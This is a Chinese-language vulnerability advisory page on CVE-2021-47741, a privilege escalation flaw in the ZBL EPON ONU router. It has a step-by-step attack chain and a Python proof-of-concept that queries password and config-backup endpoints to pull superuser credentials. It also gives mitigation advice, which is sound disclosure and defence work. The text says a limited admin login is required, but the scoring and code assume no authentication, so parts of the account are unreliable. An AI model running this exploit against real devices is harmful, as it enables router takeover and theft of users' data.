IPBUF安全漏洞报告
English
CVE-2021-47741 CVSS 7.5 高危

CVE-2021-47741 ZBL EPON ONU路由器配置端点权限提升漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2021-47741
漏洞类型
权限提升
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ZBL EPON ONU Broadband Router V100R001

相关标签

权限提升敏感信息泄露配置端点路由器漏洞CVE-2021-47741ZBL EPON ONU网络设备固件漏洞默认凭证

漏洞概述

CVE-2021-47741是ZBL EPON ONU宽带路由器V100R001版本中存在的一个高危权限提升漏洞。该漏洞允许具有有限权限的管理员用户通过向特定的配置端点发送恶意请求,从而提升其访问权限至超级用户级别。攻击者利用此漏洞可以访问系统的配置备份功能或密码管理页面,进而获取隐藏的超级用户账户凭证。一旦攻击者获得超级用户密码,便可解锁设备的所有管理功能,包括但不限于网络配置、用户管理、系统日志查看等敏感操作。由于该路由器通常部署于光纤到户(FTTH)网络环境中,攻击成功可能导致大规模的网络入侵事件,影响大量终端用户的网络通信安全。此外,攻击者还可能利用获得的权限进一步渗透内部网络,窃取用户数据或实施中间人攻击。该漏洞无需复杂的攻击条件,普通网络访问权限即可实施 exploit,构成了严重的安全威胁。

技术细节

该漏洞根源在于ZBL EPON ONU路由器V100R001的配置管理接口存在访问控制缺陷。系统对配置备份端点和密码管理页面的权限验证不充分,允许低权限用户绕过正常的权限检查机制。具体而言,当有限管理员用户访问如 /cgi-bin/webui/getPassword 或 /cgi-bin/webui/configBackup 等配置端点时,系统未能正确验证请求者的实际权限级别,直接返回了包含超级用户(super user)密码的敏感数据。攻击者可通过构造特定的HTTP请求,如 POST /cgi-bin/webui/configBackup 或 GET /cgi-bin/webui/getPassword,即可获取加密或明文形式的超级用户凭证。获取凭证后,攻击者使用该超级用户账户登录管理界面,可完全控制路由器所有功能,包括修改DNS设置、端口转发规则、防火墙策略等。由于路由器固件中硬编码了调试账户或后门账户,且这些账户信息在配置备份文件中以可逆算法加密存储,因此攻击者能够轻易解密并利用这些凭证实施权限提升攻击。

攻击链分析

STEP 1
步骤1
攻击者首先识别目标路由器,确认为ZBL EPON ONU Broadband Router V100R001版本
STEP 2
步骤2
攻击者使用低权限管理员账户或通过其他方式获取的有限访问权限登录路由器管理界面
STEP 3
步骤3
攻击者构造恶意HTTP请求,访问配置端点如/cgi-bin/webui/getPassword或/cgi-bin/webui/configBackup
STEP 4
步骤4
由于系统未正确验证权限,请求成功返回包含超级用户密码的敏感数据
STEP 5
步骤5
攻击者获取到超级用户凭证后,使用该账户重新登录管理界面
STEP 6
步骤6
攻击者获得完整的路由器控制权限,可修改网络配置、窃取用户数据或进一步渗透内网

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2021-47741 PoC - ZBL EPON ONU Router Privilege Escalation This script demonstrates the privilege escalation vulnerability in ZBL EPON ONU Broadband Router V100R001 """ import requests import sys import re def exploit_cve_2021_47741(target_ip): """ Exploit the configuration endpoint vulnerability to obtain super user credentials """ base_url = f"http://{target_ip}" print(f"[*] Targeting: {base_url}") print("[*] Attempting to exploit CVE-2021-47741...\n") # Step 1: Try to access the password disclosure endpoint password_endpoint = "/cgi-bin/webui/getPassword" print(f"[*] Trying password endpoint: {password_endpoint}") try: response = requests.get(base_url + password_endpoint, timeout=10) if response.status_code == 200: print(f"[+] Password endpoint accessible!") # Extract password from response password_match = re.search(r'password[=:]\s*["\']?([^"\'<>]+)', response.text, re.I) if password_match: print(f"[+] Found credentials: {password_match.group(0)}") except requests.RequestException as e: print(f"[-] Request failed: {e}") # Step 2: Try to access configuration backup endpoint config_endpoint = "/cgi-bin/webui/configBackup" print(f"\n[*] Trying config backup endpoint: {config_endpoint}") try: response = requests.post(base_url + config_endpoint, timeout=10) if response.status_code == 200: print(f"[+] Config backup accessible!") # Save the config file with open(f"config_backup_{target_ip}.bin", "wb") as f: f.write(response.content) print(f"[+] Config saved to config_backup_{target_ip}.bin") print("[*] Decrypt the config to find super user password") except requests.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Exploitation complete. Use obtained credentials for admin access.") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) exploit_cve_2021_47741(sys.argv[1])

影响范围

ZBL EPON ONU Broadband Router V100R001

防御指南

临时缓解措施
在厂商发布修复补丁之前,建议采取以下临时缓解措施:1)通过防火墙规则限制对路由器管理端口(通常为80/443端口)的访问,仅允许来自受信任IP地址的连接;2)禁用路由器的远程管理功能,强制要求通过本地网络或Console端口进行管理;3)定期检查系统日志,监控是否有异常的配置端点访问请求;4)考虑使用VPN隧道访问路由器管理界面,增加攻击难度;5)如果业务允许,可暂时更换为其他品牌路由器以消除该安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表